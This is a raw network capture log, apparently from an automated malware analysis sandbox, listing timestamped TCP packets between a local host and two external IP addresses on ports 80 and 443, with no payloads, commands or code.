Aug 23, 2022 03:42:46.825721979 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:46.825762033 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:46.825803041 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:46.825844049 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:46.825861931 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:46.825885057 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:46.825952053 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:46.825990915 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:46.826020956 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:46.826046944 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:46.826070070 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:46.826126099 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:46.826147079 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:46.826168060 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:46.826179028 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:46.826181889 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:46.826194048 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:46.826210976 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:46.826231956 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:46.826250076 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:46.826270103 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:46.826289892 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:46.826304913 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:46.826308012 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:46.826318026 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:46.826329947 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:46.826351881 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:46.826354980 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:46.826406002 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:46.826426029 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:46.826476097 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:47.902442932 CEST	49772	443	192.168.2.4	148.251.234.83
Aug 23, 2022 03:42:47.902507067 CEST	443	49772	148.251.234.83	192.168.2.4
Aug 23, 2022 03:42:47.902604103 CEST	49772	443	192.168.2.4	148.251.234.83
Aug 23, 2022 03:42:47.902857065 CEST	49772	443	192.168.2.4	148.251.234.83
Aug 23, 2022 03:42:47.902873993 CEST	443	49772	148.251.234.83	192.168.2.4
Aug 23, 2022 03:42:47.989479065 CEST	443	49772	148.251.234.83	192.168.2.4
Aug 23, 2022 03:42:48.044497013 CEST	49772	443	192.168.2.4	148.251.234.83
Aug 23, 2022 03:42:49.248240948 CEST	49772	443	192.168.2.4	148.251.234.83
Aug 23, 2022 03:42:49.248284101 CEST	443	49772	148.251.234.83	192.168.2.4
Aug 23, 2022 03:42:49.248697996 CEST	443	49772	148.251.234.83	192.168.2.4
Aug 23, 2022 03:42:49.250288963 CEST	49772	443	192.168.2.4	148.251.234.83
Aug 23, 2022 03:42:49.250401020 CEST	443	49772	148.251.234.83	192.168.2.4
Aug 23, 2022 03:42:49.251282930 CEST	49763	443	192.168.2.4	148.251.234.83
Aug 23, 2022 03:42:49.276979923 CEST	443	49763	148.251.234.83	192.168.2.4
Aug 23, 2022 03:42:49.277080059 CEST	443	49763	148.251.234.83	192.168.2.4
Aug 23, 2022 03:42:49.277178049 CEST	49763	443	192.168.2.4	148.251.234.83
Aug 23, 2022 03:42:49.333290100 CEST	49772	443	192.168.2.4	148.251.234.83
Aug 23, 2022 03:42:49.378707886 CEST	49763	443	192.168.2.4	148.251.234.83
Aug 23, 2022 03:42:49.378757954 CEST	443	49763	148.251.234.83	192.168.2.4
Aug 23, 2022 03:42:52.000332117 CEST	49774	443	192.168.2.4	148.251.234.83
Aug 23, 2022 03:42:52.000379086 CEST	443	49774	148.251.234.83	192.168.2.4
Aug 23, 2022 03:42:52.000533104 CEST	49774	443	192.168.2.4	148.251.234.83
Aug 23, 2022 03:42:52.021481991 CEST	49774	443	192.168.2.4	148.251.234.83
Aug 23, 2022 03:42:52.021609068 CEST	443	49774	148.251.234.83	192.168.2.4
Aug 23, 2022 03:42:52.105767012 CEST	443	49774	148.251.234.83	192.168.2.4
Aug 23, 2022 03:42:52.105895042 CEST	49774	443	192.168.2.4	148.251.234.83
Aug 23, 2022 03:42:52.164908886 CEST	49774	443	192.168.2.4	148.251.234.83
Aug 23, 2022 03:42:52.164931059 CEST	443	49774	148.251.234.83	192.168.2.4
Aug 23, 2022 03:42:52.168072939 CEST	49774	443	192.168.2.4	148.251.234.83
Aug 23, 2022 03:42:52.168096066 CEST	443	49774	148.251.234.83	192.168.2.4
Aug 23, 2022 03:42:52.193694115 CEST	443	49774	148.251.234.83	192.168.2.4
Aug 23, 2022 03:42:52.193798065 CEST	49774	443	192.168.2.4	148.251.234.83
Aug 23, 2022 03:42:52.193814993 CEST	443	49774	148.251.234.83	192.168.2.4
Aug 23, 2022 03:42:52.193852901 CEST	443	49774	148.251.234.83	192.168.2.4
Aug 23, 2022 03:42:52.194853067 CEST	49774	443	192.168.2.4	148.251.234.83
Aug 23, 2022 03:42:52.194869041 CEST	49774	443	192.168.2.4	148.251.234.83
Aug 23, 2022 03:42:52.216905117 CEST	49774	443	192.168.2.4	148.251.234.83
Aug 23, 2022 03:42:52.216938019 CEST	443	49774	148.251.234.83	192.168.2.4
Aug 23, 2022 03:42:52.623780012 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:52.658299923 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.748509884 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.748620033 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.748635054 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:52.748681068 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:52.748713017 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.748761892 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:52.748780012 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.748826027 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:52.748843908 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.748891115 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:52.748914957 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.748963118 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:52.748991966 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.749039888 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:52.749046087 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.749099970 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:52.749108076 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.749155045 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:52.749164104 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.749214888 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:52.784497023 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.784537077 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.784558058 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.784580946 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.784627914 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:52.784670115 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.784723043 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:52.784732103 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:52.784742117 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.784769058 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.784800053 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:52.784817934 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:52.784826994 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.784882069 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:52.784883022 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.784909010 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.784934998 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.784938097 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:52.784960032 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:52.784960032 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.784982920 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:52.785005093 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:52.785124063 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.785146952 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.785185099 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.785243988 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:52.785274982 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.785301924 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.785341978 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.785341978 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:52.785377979 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.785378933 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:52.785396099 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:52.785420895 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.785427094 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:52.785471916 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:52.819272041 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.819309950 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.819334030 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.819370031 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.819394112 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.819399118 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:52.819418907 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.819438934 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:52.819442034 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.819467068 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.819490910 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.819499969 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:52.819514990 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.819525003 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:52.819540977 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.819565058 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:52.819565058 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.819591045 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.819611073 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.819612026 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:52.819638014 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.819639921 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:52.819662094 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.819679022 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:52.819686890 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.819703102 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:52.819713116 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.819740057 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:52.819763899 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:52.820024014 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.820051908 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.820075989 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.820086002 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:52.820100069 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.820115089 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:52.820126057 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.820148945 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.820158005 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:52.820173979 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.820198059 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:52.820198059 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.820224047 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.820236921 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:52.820247889 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.820272923 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.820275068 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:52.820298910 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.820307016 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:52.820322990 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.820329905 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:52.820355892 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:52.820365906 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.820383072 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:52.820391893 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.820415974 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.820421934 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:52.820430994 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:52.820441008 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.820483923 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.820487976 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:52.820508003 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.820557117 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:52.820563078 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.820604086 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.820626020 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:52.820627928 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.820657015 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:52.820688009 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:52.854320049 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.854355097 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.854379892 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.854396105 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:52.854404926 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.854429007 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.854432106 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:52.854435921 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:52.854454994 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.854455948 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:52.854477882 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:52.854480028 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.854499102 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:52.854506016 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.854521036 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:52.854532003 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.854543924 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:52.854557037 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.854568958 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:52.854583025 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.854593039 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:52.854608059 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.854619980 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:52.854633093 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.854657888 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.854681015 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.854695082 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:52.854707003 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.854732037 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.854746103 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:52.854758024 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.854770899 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:52.854784012 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.854804993 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:52.854809999 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.854829073 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:52.854835033 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.854850054 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:52.854861021 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.854878902 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:52.854886055 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.854898930 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:52.854912043 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.854923964 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:52.854938030 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.854948044 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:52.854964018 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.854981899 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:52.854990959 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.855000973 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:52.855014086 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.855026960 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:52.855041027 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.855051994 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:52.855067968 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.855081081 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:52.855093002 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.855106115 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:52.855117083 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.855129004 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:52.855140924 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.855154037 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:52.855165005 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.855175972 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:52.855190992 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.855204105 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:52.855214119 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.855232000 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:52.855237961 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.855254889 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:52.855263948 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.855273962 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:52.855288029 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.855302095 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:52.855313063 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.855324030 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:52.855336905 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.855367899 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:52.855386019 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.855391026 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:52.855413914 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.855427980 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:52.855438948 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.855449915 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:52.855463028 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.855473995 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:52.855488062 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.855498075 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:52.855513096 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.855524063 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:52.855536938 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.855556011 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:52.855561972 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.855581999 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:52.855587006 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.855602026 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:52.855612040 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.855623007 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:52.855637074 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.855647087 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:52.855660915 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.855671883 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:52.855684996 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.855695963 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:52.855710983 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.855721951 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:52.855735064 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.855752945 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:52.855760098 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.855771065 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:52.855786085 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.855797052 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:52.855812073 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.855822086 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:52.855837107 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.855849028 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:52.855860949 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.855873108 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:52.855886936 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.855897903 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:52.855909109 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.855922937 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:52.855943918 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:52.877372980 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.877408028 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.877430916 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.877443075 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:52.877454042 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.877475977 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:52.877477884 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.877502918 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.877520084 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.877542019 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:52.877571106 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:52.877579927 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.877624989 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:52.877648115 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.877671957 CEST	80	49743	45.95.11.158	192.168.2.4
